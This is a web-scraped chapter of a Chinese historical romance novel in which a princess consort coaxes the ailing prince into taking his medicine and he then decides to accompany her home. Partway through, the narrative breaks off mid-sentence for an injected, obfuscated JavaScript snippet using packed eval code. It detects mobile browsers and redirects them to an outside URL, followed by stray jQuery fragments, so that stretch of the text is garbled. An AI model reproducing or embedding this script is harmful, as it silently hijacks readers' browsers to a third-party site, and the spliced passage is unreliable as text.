8. 第8章

作品:《锦帐晞光

    殿内霎时一片阒静。


    戚云晞见慕容湛默然不语,唇角轻弯,含笑转圜道:


    “这汤药,臣妾方才尝过,确是苦涩难当,故而备了些蜜饯。您饮一口药,再用一颗蜜饯,便不觉难以下咽了。”


    从前明昭染疾不肯服药时,她亦是如此,先备好他心爱的糖食,再温言软语地哄劝,总能教他乖乖将药服尽。


    喂药这等事,于她而言,原是手到擒来!


    “……多事。”


    慕容湛眉峰微蹙,终是张口含住了那勺汤药。


    他倒要瞧瞧,这女人究竟意欲何为。


    戚云晞忙从食盒中拈起一枚蜜饯,极自然地递至他唇边,明澈的眸中满是期许,眼巴巴地望着他。


    慕容湛:……


    他素不惯与女子这般亲近。


    何顺觑见王爷虽未立时接纳,却也未推开,当即眼观鼻、鼻观心,悄无声息地退了出去。


    戚云晞见他薄唇紧抿,心下正自惴惴,欲收回手之际,男人却倏然张口衔住了蜜饯,温软的唇瓣不经意间掠过她的指尖。


    她心尖猛地一颤。


    那触感温热湿软,指尖却骤然火燎般发烫,竟僵在半空,动弹不得。


    男人温热的气息,宛若一只无形的手轻拂过她的手背。


    戚云晞指尖微松,下意识地抬眸望去。


    男人身形亦是一僵,正凝望着她。


    四目相对,呼吸可闻,周遭空气仿佛于刹那间凝滞。


    慕容湛蓦地回过神来,倏然侧首避开视线,喉结轻滚,声线低哑:“余下的……搁着,本王自行服用。”


    戚云晞双颊微晕,垂首轻声道:“……是臣妾僭越了。”


    慕容湛未再言语,默然片刻,伸手端起药碗,仰首将残药一饮而尽。


    戚云晞听得吞咽之声,抬眸见他已将汤药饮尽,笑意霎时盈满眉梢,忙又拈起一枚蜜饯,声线柔婉得能沁出蜜来:“王爷再用一颗?也好清清苦味。”


    慕容湛:……


    这女人,倒会得寸进尺?


    他微侧过脸,略显僵硬地就向了她指尖的蜜饯。


    见他含住,戚云晞方收回手,恭谨温顺地道:“汤药既已服下,臣妾便不扰王爷静养了。”


    点到即止方为上策,觑他神色已见疏淡,再作亲近,只怕徒惹厌烦。


    她起身盈盈一福:“只是……依三朝回门之礼,明日当返戚府一趟。臣妾念及王爷玉体违和,本不敢烦扰,只是不知……王爷可否允准?”


    她这场婚事来得仓促,明昭自幼与她相依,从未分离。


    如今她骤然出阁,不知那孩子境况如何?


    许多事,尚需当面与他分说明白。


    慕容湛细嚼着口中蜜饯,面上波澜不惊,淡淡道:“循例而行便可,何须问本王。”


    “谢王爷恩准!”


    戚云晞眸中光华流转,喜色几乎要满溢出来,她强自按捺着,柔声叮嘱:“那臣妾明日便先行回府,王爷定要如今日这般,按时服药。”


    语毕,她缓缓转身,莲步轻移,广袖翩跹间,勾勒出袅娜腰身,渐行渐远。


    直至那抹单薄的纤影没入回廊深处,慕容湛方缓缓抬眸望向门际,耳畔只余一阵渐行渐远的轻盈脚步声。


    “呵。”


    他低低嗤笑一声,抬手轻触唇角,那里仿佛还萦绕着她指尖微凉的余温。


    不多时,何顺便折返。


    慕容湛已敛去异色,吩咐道:“移步书房。”


    “是。”


    何顺瞥见那只空了的药碗,心下了然。


    一面稳稳推着轮椅,一面轻声探问:“王爷,王妃方才所奉的蜜饯……可甜?”


    慕容湛:“……闭嘴。”


    何顺却来了兴致,复又絮絮道:“方才王妃凝望王爷的眼神,还有递送蜜饯的情状,奴才在旁瞧着,心口都快被那目光焐热了,不知王爷……作何感想?”


    慕容湛薄唇紧抿,俨然一副隐忍怒色,耳根却悄然透出一抹薄红。


    见王爷并未真怒,何顺胆气愈壮:“看来还是王妃有法子。往日那汤药,王爷能饮下两口已是难得,若往后王妃能日日来送药……”


    “明日她需回戚府行归宁之礼,来不了。”慕容湛淡声打断。


    何顺脚步微滞:“王妃特为回门之事来禀?奴才忖度着,王妃心底定然盼着有人相伴,也好……壮壮声势。”


    慕容湛眉梢微挑:“你倒成了她肚里的蛔虫?”


    何顺:“那话本里皆是这般写的!高门大宅之中,岂会少了势利之人?王妃若孤身而返,还不知要受多少闲气。倘或有位……玉体欠安的王爷在侧相陪,再备上几箱教人目眩的厚礼……”


    “啧啧,保管那些人将王妃奉若上宾!”


    他偷眼觑着慕容湛紧绷的下颌,又故作忧色道:“自然,王爷的贵体最是要紧,岂能为这等琐务劳顿?万一……不慎露了行藏,反为不美。”


    王爷千般皆好,唯独于这儿女情事上太过木讷,他若不再从旁稍作提点,这夫妻情分何时方能热络起来?


    幸得平日多翻了几卷话本,此刻竟真派上了用场。


    慕容湛:……


    这老小子,竟敢拐弯抹角地点拨于他?


    然……其所言,似有几分道理?


    那女人既已是他的王妃,若真在母家受了委屈,折损的亦是锦王府的颜面。


    默然片刻,他终是状若随意地开口:“本王想起……前日尚有政务需与戚宰辅商议,正好借她归宁之便,同往一趟。也省得外间总非议锦王府凉薄,顺道……堵了那些悠悠之口。”


    何顺眼中骤亮,机敏应和:“王爷圣明!如此既办了公务,全了王妃的体面,又止了坊间流言,真乃一举三得!”


    慕容湛阖目,未再理会。


    这老小子诸事妥帖,唯独话多聒噪!好似只他生了张巧嘴。


    何顺却犹自不住口:“奴才这便去安排车驾。哦,方才所言厚礼,宫内昨日刚赐下几匣新贡的榔梅,可要带上两匣?奴才再去库房拣选几匹上用的江南云锦,另备一套湖笔徽墨,定教戚府众人不敢小觑了王妃!”


    慕容湛几不可闻地“嗯”了一声。


    这老小子,总算没白跟了他这些年。


    *


    翌日清晨。


    戚云晞早早便起身打点回府事宜。


    她自樟木箱中取出舒嫔所赐的白玉簪,并慧嫔赏的金镶玉耳坠。


    此二物虽非极品,用以应对戚府众人,却也足够撑些场面。


    复又取出许氏为她备下的几件陪嫁首饰。


    两支银钗已见黯沉,玉坠与玉镯亦色泽浑浊。


    她取过绢帕,细细擦拭了一番。


    心下暗定,将这些不甚值钱的物件拿去典当,换些体面物事带回府中,也免得空手而归,徒惹猜疑。


    替嫁之事虽已被王爷窥破,然他未曾深究,已是侥幸之至。


    她岂敢再奢求他备下回门之礼?


    只盼父亲与许氏莫要瞧出端倪,否则……明昭在府中的处境,只怕愈发艰难了。


    一切收拾停当,她便唤来雪晴与玲珑,吩咐二人去备车。


    不料二人去未多时,竟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960988|193308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又折返。


    连一向沉稳的雪晴,此刻眉梢眼角也难掩喜色,声调亦轻快了几分:


    “王妃,车驾已无需咱们张罗!王爷皆已安排妥当,并言明要亲自陪您归宁呢。”


    “什么?”


    戚云晞几乎疑心自己听错了,失声之后忙敛了神色,强自镇定地追问:“……此言当真?”


    那位大婚之日都未曾现身的王爷,今日竟要陪她这冒名之人回门?


    是欲当众揭穿她的身份?


    抑或……另有所图?


    她心下霎时波澜翻涌,却见玲珑连连颔首,笑吟吟地补充:“千真万确!王爷非但备好了车驾,更命人抬了好几箱笼的厚礼,瞧那规制便知非同一般!”


    戚云晞只觉背脊窜上一股寒意,只得硬着头皮道:“既如此……咱们这便动身罢。”


    雪晴与玲珑齐声应下,快步随她而出。


    *


    主仆三人行至府门,果见三驾马车静候于前。


    雪晴眼明,忙趋前一步低声禀道:“王妃,王爷已在车中等候呢。”


    戚云晞深吸一口气,横下心来,正欲举步,车帘内便传来男人低沉的嗓音,带着不容置喙的意味:“愣着做什么?还不上车?”


    她轻咬下唇,忙敛裙垂首,躬身跨入车厢。


    抬眸便见慕容湛闲倚软榻,神色疏淡,瞧不出半分情绪。


    她心口发紧,惴惴难安,忙垂眸敛衽:“劳烦王爷亲往,臣妾感激不尽。”


    慕容湛眼睫未动,只淡淡道:“本王不过是不愿有人借题发挥,非议锦王府怠慢新妇。”


    言罢,他转向车帘,扬声道:“何顺,启程。”


    “奴才遵命。”车外传来何顺利落的应和。


    马车辘辘而行。


    戚云晞指尖绞着绢帕,声线微怯:“王爷玉体违和,仍为臣妾劳顿,臣妾……实在惶恐。”


    慕容湛望着窗外流转的街景,语意平淡:“不必惶恐。本王恰有政务需与戚宰辅相商。”


    戚云晞心尖骤然一沉。


    政务?


    莫非是要当着她父亲的面,揭破这桩欺君之罪?


    她强自镇定,眼睫低垂,轻声探问:“不知……是何等要务?若臣妾能略尽绵力……”


    慕容湛淡扫她一眼,却未作答:“届时便知。”


    这一眼看得戚云晞脊背生寒。


    她慌忙垂首,不敢再问,喉间却似被棉絮堵塞,呼吸维艰。


    他究竟意欲何为?


    一路无话,她忍不住几番偷眼觑他,心绪翻涌如潮。


    待会儿该如何应对?


    父亲会如何发落她?


    明昭又当如何自处?


    “本王脸上有字?为何总盯着本王看?”男人冷不丁地开口。


    戚云晞肩头一颤,急急垂眸:“臣妾……臣妾是忧心府中招待简慢,委屈了王爷……一时思虑过甚,竟致失仪,求王爷恕罪。”


    慕容湛略抬眼帘,目光落在她紧绞的指尖,“戚府尚无此胆量慢待本王。”


    他话音微顿,沉声道:“倒是你,将脊梁挺直。既已是锦王府的王妃,便莫要失了体统。”


    “……是。”


    戚云晞怔然望向他冷峻的侧颜,片刻方回过神,忙将背脊挺得笔直,唇角牵起一抹浅笑,“臣妾谨记王爷教诲。”


    他让她……挺直脊梁?


    这莫非是在……回护于她?


    言下之意,是不打算追究了么?


    车厢内清冽的梅香混着淡淡药草气息,竟让她紧绷了一路的心弦,悄然松弛了几分。